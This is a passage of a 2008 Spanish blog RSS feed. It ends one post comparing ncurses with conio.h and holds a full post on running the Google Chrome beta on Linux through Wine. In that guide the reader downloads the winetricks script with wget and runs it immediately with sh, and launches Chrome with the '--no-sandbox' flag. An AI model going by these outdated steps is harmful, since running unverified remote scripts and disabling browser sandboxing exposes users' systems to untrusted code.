<p><a href="http://es.wikipedia.org/wiki/Gcc"><strong>gcc</strong></a> es el compilador de linux, <strong>ncurses.c</strong> es el código fuente del programa <strong>ncurses</strong> es el nombre con el que se va a guardar el programa y el <strong>-lncurses</strong> es para obligar al compilador a usar la librería. */</p>
<p>Bonito verdad? <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  , ese mismo programa se podría hacer en turbo c usando las librerías nativas de el:</p>
<p><img class="alignnone" title="turbo c" src="http://img90.imageshack.us/img90/1070/tcbj7.png" alt="" width="529" height="357" /></p>
<p>Y ejecutándolo:</p>
<p><img class="alignnone" title="Turbo C" src="http://img510.imageshack.us/img510/517/tc2ye6.png" alt="" width="529" height="357" /></p>
<p>Pero esta no es toda la grandeza de usar ncurses, sino que es mucho más potente y amplio que usar conio.. con ncurses se pueden hacer las mismas cosas que con conio y mejor, p.e:</p>
<p>El uso de colores en la consola, permite hacer programas que funcionen con pestañas <img src='http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  , entre otras cosas. Espero poder enseñarles otro programa en alguna otra entrada cuando ya haya ampliado más el tema <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  .</p>
<p>Para ver la documentación se puede con:</p>
<blockquote><p>man ncurses</p></blockquote>
<p>Y para ver la documentación de las funciones que este trae con:</p>
<blockquote><p>man función</p></blockquote>
<p>Hablando un poco del entorno de programación si a alguien no le gusta usar gedit o vim siempre pueden hacerlo por medio de <a href="http://es.wikipedia.org/wiki/Anjuta">anjuta</a> para más comodidad <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>El tema de ncurses es largo, hay documentación en Internet pero a mi parecer todavía esta deficiente, asi que yo también ando en la búsqueda de encontrar información mas completa, pero por el momento y si les interesa siempre se le puede preguntar al gran <a href="http://www.google.com.sv/search?hl=es&amp;q=ncurses&amp;btnG=Buscar&amp;lr=lang_es">google. </a></p>
<p>¿Pero los programas escritos usando ncurses como los podemos usar en Windows?</p>
<p>Pues se puede con <strong>PDCurses</strong> pero el tema lo dejo para otra entrada del blog, porque creo que ya se agrando mucho esta xD</p>
<p>&#8211;</p>
<p>&#8212;&#8211;</p>
<p>Una de las frases que más he escuchado durante toda mi vida por parte de mi familia, es que en un medio laboral competitivo los que logran algo son los mismos que han logrado diferenciarse del resto, entonces lo mejor es siempre aprender cosas nuevas y por qué no transmitirlas a gente que les interese tanto como a mi? <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Saludos a los que leen !</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/mesblo.wordpress.com/106/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/mesblo.wordpress.com/106/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/mesblo.wordpress.com/106/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/mesblo.wordpress.com/106/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/mesblo.wordpress.com/106/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/mesblo.wordpress.com/106/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/mesblo.wordpress.com/106/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/mesblo.wordpress.com/106/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/mesblo.wordpress.com/106/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/mesblo.wordpress.com/106/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/mesblo.wordpress.com/106/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/mesblo.wordpress.com/106/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/mesblo.wordpress.com/106/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/mesblo.wordpress.com/106/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=106&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://mesblo.wordpress.com/2008/09/25/esa-maldita-libreria-conioh/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">Lyoko</media:title>
		</media:content>

		<media:content url="http://img223.imageshack.us/img223/4356/keyboardfrustrationfg6.jpg" medium="image">
			<media:title type="html">Frustracion!</media:title>
		</media:content>

		<media:content url="http://img260.imageshack.us/img260/5597/geditcj0.png" medium="image">
			<media:title type="html">Gedit</media:title>
		</media:content>

		<media:content url="http://img252.imageshack.us/img252/747/terminaljl4.png" medium="image">
			<media:title type="html">Vim!</media:title>
		</media:content>

		<media:content url="http://img252.imageshack.us/img252/7209/terminal2yh9.png" medium="image">
			<media:title type="html">Programa</media:title>
		</media:content>

		<media:content url="http://img90.imageshack.us/img90/1070/tcbj7.png" medium="image">
			<media:title type="html">turbo c</media:title>
		</media:content>

		<media:content url="http://img510.imageshack.us/img510/517/tc2ye6.png" medium="image">
			<media:title type="html">Turbo C</media:title>
		</media:content>
	</item>
		<item>
		<title>Google Chrome en Linux</title>
		<link>http://mesblo.wordpress.com/2008/09/14/google-chrome-en-linux/</link>
		<comments>http://mesblo.wordpress.com/2008/09/14/google-chrome-en-linux/#comments</comments>
		<pubDate>Sun, 14 Sep 2008 17:10:02 +0000</pubDate>
		<dc:creator>Lyoko</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[Google Chrome]]></category>
		<category><![CDATA[Wine]]></category>

		<guid isPermaLink="false">http://lkoblo.100webspace.net/blog/?p=94</guid>
		<description><![CDATA[Pasando por alto los misterios y los parecidos curiosos del logo (nótese que la comparación va más allá haciéndola con una webcam y el zorro (o panda) de firefox xD ), posteo la forma para ejecutar el navegador estrella de google en los sistemas GNU/Linux . Hace unos días lanzo en primicia un beta de [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=94&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone" title="Google Chrome logos?" src="http://img148.imageshack.us/img148/4378/googlechromemashupvt2.png" alt="" width="400" height="331" /></p>
<p>Pasando por alto los misterios y los parecidos curiosos del logo (nótese que la comparación va más allá haciéndola con una webcam y el zorro (o panda) de firefox xD <img src='http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  ), posteo la forma para ejecutar el navegador estrella de google en los sistemas GNU/Linux <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  .</p>
<p>Hace unos días lanzo en primicia un beta de su navegador propio llamado Google Chrome, por desgracia solo disponible por el momento para windows.</p>
<p>Bastante simple pero funcional como es la costumbre de Google, asi que para gente como yo que no necesitamos mucho para ser feliz es un buen producto xD</p>
<p>Ahora a lo bueno, ¿Como ejecutarlo en Linux? .</p>
<p>Hay 2 formas hasta el momento, desde la web oficial se pueden descargar las fuentes y compilarlo uno mismo, sin embargo eso no significa que va a funcionar a la perfección, ya que esa opción esta orientada más a los desarrolladores de la compañía que a otra cosa.</p>
<p>Entonces por el momento lo mejor y la opción más conocida&#8230; wine!</p>
<p>Lo primero es descargar la versión más nueva y necesaria de wine para poder correrlo sin problemas (1.1.4)..</p>
<p>Esta versión por no ser la estable todavía no esta en los repositorios, asi que el método para la instalación va a ser diferente al típico apt-get install (bueno, no inmediatamente xD).</p>
<p>Entonces tenemos que agregar unos nuevos repositorios para poder usar esta versión, la forma de hacerlo para diferentes distribuciones esta aquí:</p>
<p><a href="http://www.winehq.org/site/download">http://www.winehq.org/site/download</a></p>
<p>Una vez seguidos los pasos ya podemos instalar wine normalmente:</p>
<blockquote><p>apt-get install wine</p>
<p>o</p>
<p>aptitude install wine</p></blockquote>
<p>Ahora antes de comenzar con la instalación del GC hay que hacer estas cosas antes:</p>
<blockquote>
<pre>cd $HOME
rm winetricks
wget http://www.kegel.com/wine/winetricks
mv .wine .wine.old
sh winetricks msxml3 corefonts firefox flash winxp</pre>
</blockquote>
<p>Explicando, se mueve al directorio home del usuario, en caso que haya antes un script llamado winetricks lo borra.</p>
<p>Después descarga el nuevo script, y renombra el fichero .wine a .wine.old, por ultimo se ejecuta el script (winetricks) que se encarga de descargar e instalar esos programas en wine que son necesarios para el funcionamiento del GC.</p>
<p>Una vez hecho esto ya podemos instalar el navegador <img src='http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><a href="http://www.google.com/chrome/eula.html">Descarga</a></p>
<p>Una vez descargado solo se ejecuta por medio del wine, bien con click derecho y &#8220;ejecutar con wine&#8221; o por la terminal con un:</p>
<blockquote><p>wine nombre.exe</p></blockquote>
<p>Ahora esperar que se descargue e instale.. <img src='http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Pero.. todavía no esta listo para usarse del todo, para eso hay que pasarle 2 parámetros al ejecutable.</p>
<blockquote><p>wine chrome.exe &#8211;no-sandbox &#8211;new-http</p></blockquote>
<p>Y ahora si, ya podemos usar el GC en Linux <img src='http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><a href="http://img111.imageshack.us/my.php?image=gczd6.png" target="_blank"><img src="http://img111.imageshack.us/img111/4755/gczd6.th.png" border="0" alt="Free Image Hosting at www.ImageShack.us" /></a></p>
<p>Pero mi opinión es que esto no es algo muy practico, usarlo con el wine le mata todas las virtudes que posee, deja de ser ligero y sencillo y se vuelve bastante pesado, aparte de algunos problemas que note como que los vídeos de youtube aparecen cabeza abajo (wtf?! o_O).</p>
<p>Asi que es mejor esperar un rato a que este la versión oficial para los linuxeros <img src='http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  , entonces este método queda como una forma friki/geek que tienen más utilidad para ser presumida de que podes usar GC en Linux que para usarlo realmente.</p>
<p><a href="http://appdb.winehq.org/objectManager.php?sClass=version&amp;iId=13635">Referencias</a></p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/mesblo.wordpress.com/94/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/mesblo.wordpress.com/94/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/mesblo.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/mesblo.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/mesblo.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/mesblo.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/mesblo.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/mesblo.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/mesblo.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/mesblo.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/mesblo.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/mesblo.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/mesblo.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/mesblo.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/mesblo.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/mesblo.wordpress.com/94/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=94&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://mesblo.wordpress.com/2008/09/14/google-chrome-en-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">Lyoko</media:title>
		</media:content>

		<media:content url="http://img148.imageshack.us/img148/4378/googlechromemashupvt2.png" medium="image">
			<media:title type="html">Google Chrome logos?</media:title>
		</media:content>

		<media:content url="http://img111.imageshack.us/img111/4755/gczd6.th.png" medium="image">
			<media:title type="html">Free Image Hosting at www.ImageShack.us</media:title>
		</media:content>
	</item>
	</channel>
</rss>
